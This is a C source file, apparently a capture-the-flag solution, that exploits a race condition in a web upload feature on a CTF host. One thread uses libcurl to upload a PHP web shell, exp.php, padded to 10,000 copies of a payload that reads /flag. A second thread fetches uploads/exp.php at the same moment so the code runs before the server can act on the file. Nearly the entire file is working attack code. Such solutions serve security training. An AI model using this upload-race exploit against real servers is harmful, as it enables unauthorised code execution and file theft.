exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>

#include <curl/curl.h>

#define NUMT 2

typedef enum {
    false,
    true
} bool;

struct MemoryStruct {
    char *memory;
    size_t size;
};

struct CurlContext {
    CURL *curl;
    CURLcode res;
    const char *url;
};

struct ThreadArgs {
    struct CurlContext context;
    struct MemoryStruct chunk;
};

char* get_payload(const char* payload) {
    int counter = 10000;
    long size = strlen(payload) * counter + 1;
    char* buffer = malloc(sizeof(char) * size);

    if (buffer == NULL) {
        fprintf(stderr, "Memory allocation failed\n");
        return NULL;
    }
    memset(buffer, 0, size);
    for (size_t i = 0; i < counter; i++) {
        strcat(buffer, payload);
    }

    return buffer;
}

char* get_url(struct CurlContext *context, char* src) {
	int size = strlen(context->url) + strlen(src);
	char* url = malloc(sizeof(char) * size + 1);

	if (!url) {
        fprintf(stderr, "Memory allocation failed in get_url\n");
        return NULL;
    }
	strcpy(url, context->url);
	strcat(url, src);

	return url;
}

static size_t WriteMemoryCallback(void *contents, size_t size, size_t nmemb, void *userp) {
    size_t realsize = size * nmemb;
    struct MemoryStruct *mem = (struct MemoryStruct *)userp;

    char *ptr = realloc(mem->memory, mem->size + realsize + 1);
    if (!ptr) {
        printf("not enough memory (realloc returned NULL)\n");
        return 0;
    }

    mem->memory = ptr;
    memcpy(&(mem->memory[mem->size]), contents, realsize);
    mem->size += realsize;
    mem->memory[mem->size] = 0;

    return realsize;
}

bool perform_request(struct CurlContext *context) {
    if (context->res != CURLE_OK) {
        fprintf(stderr, "Error: %s\n", curl_easy_strerror(context->res));
        return false;
    } else {
        printf("Request successful: %s\n", context->url);
        return true;
    }
}

void read_request(struct CurlContext *context, struct MemoryStruct *chunk) {
    if (perform_request(context)) {
        if (chunk->size > 0) {
            printf("Response data:\n");
            for (size_t i = 0; i < chunk->size; i++) {
                printf("%c", chunk->memory[i]);
            }
            printf("\n");
        } else {
            printf("No data received.\n");
        }
    }
}

void upload_file(struct CurlContext *context, struct MemoryStruct *chunk) {
    context->curl = curl_easy_init();
    
    curl_mime *mime = curl_mime_init(context->curl);
    curl_mimepart *part;

	char* payload = get_payload("<?php echo file_get_contents('/flag'); ?> ");

    part = curl_mime_addpart(mime);
    curl_mime_data(part, payload, CURL_ZERO_TERMINATED);
    curl_mime_name(part, "upFile");
    curl_mime_filename(part, "exp.php");

    part = curl_mime_addpart(mime);
    curl_mime_name(part, "submit");
    curl_mime_data(part, "Upload", CURL_ZERO_TERMINATED);

    if (context->curl) {
        curl_easy_setopt(context->curl, CURLOPT_URL, context->url);
        curl_easy_setopt(context->curl, CURLOPT_MIMEPOST, mime);

        context->res = curl_easy_perform(context->curl);

		if (context->res != CURLE_OK) {
			fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(context->res));
		}

        curl_easy_cleanup(context->curl);
        curl_mime_free(mime);
    }
	free(payload);
}

void read_file(struct CurlContext *context, struct MemoryStruct *chunk) {
	context->curl = curl_easy_init();
	char* url = get_url(context, "uploads/exp.php");

	curl_easy_setopt(context->curl, CURLOPT_URL, url);
	curl_easy_setopt(context->curl, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
	curl_easy_setopt(context->curl, CURLOPT_WRITEDATA, (void *)chunk);

	context->res = curl_easy_perform(context->curl);
	read_request(context, chunk);

	curl_easy_cleanup(context->curl);
	free(url);
}

void* thread_upload_file(void* arg) {
    struct ThreadArgs* args = (struct ThreadArgs*)arg;
    upload_file(&args->context, &args->chunk);
    return NULL;
}

void* thread_read_file(void* arg) {
    struct ThreadArgs* args = (struct ThreadArgs*)arg;
    read_file(&args->context, &args->chunk);
    return NULL;
}

int main(void) {
    pthread_t tid[NUMT];
    struct ThreadArgs args[NUMT];

    curl_global_init(CURL_GLOBAL_ALL);

    for (size_t i = 0; i < NUMT; i++) {
        args[i].context.url = "https://2019-11-17-angry.ctf.su/";
        args[i].chunk.memory = malloc(1);
        args[i].chunk.size = 0;
    }

    pthread_create(&tid[0], NULL, thread_upload_file, &args[0]);
    pthread_create(&tid[1], NULL, thread_read_file, &args[1]);

    for (size_t i = 0; i < NUMT; i++) {
        pthread_join(tid[i], NULL);
        fprintf(stderr, "Thread %d terminated\n", i);
        free(args[i].chunk.memory);
    }

    curl_global_cleanup();
    return 0;
}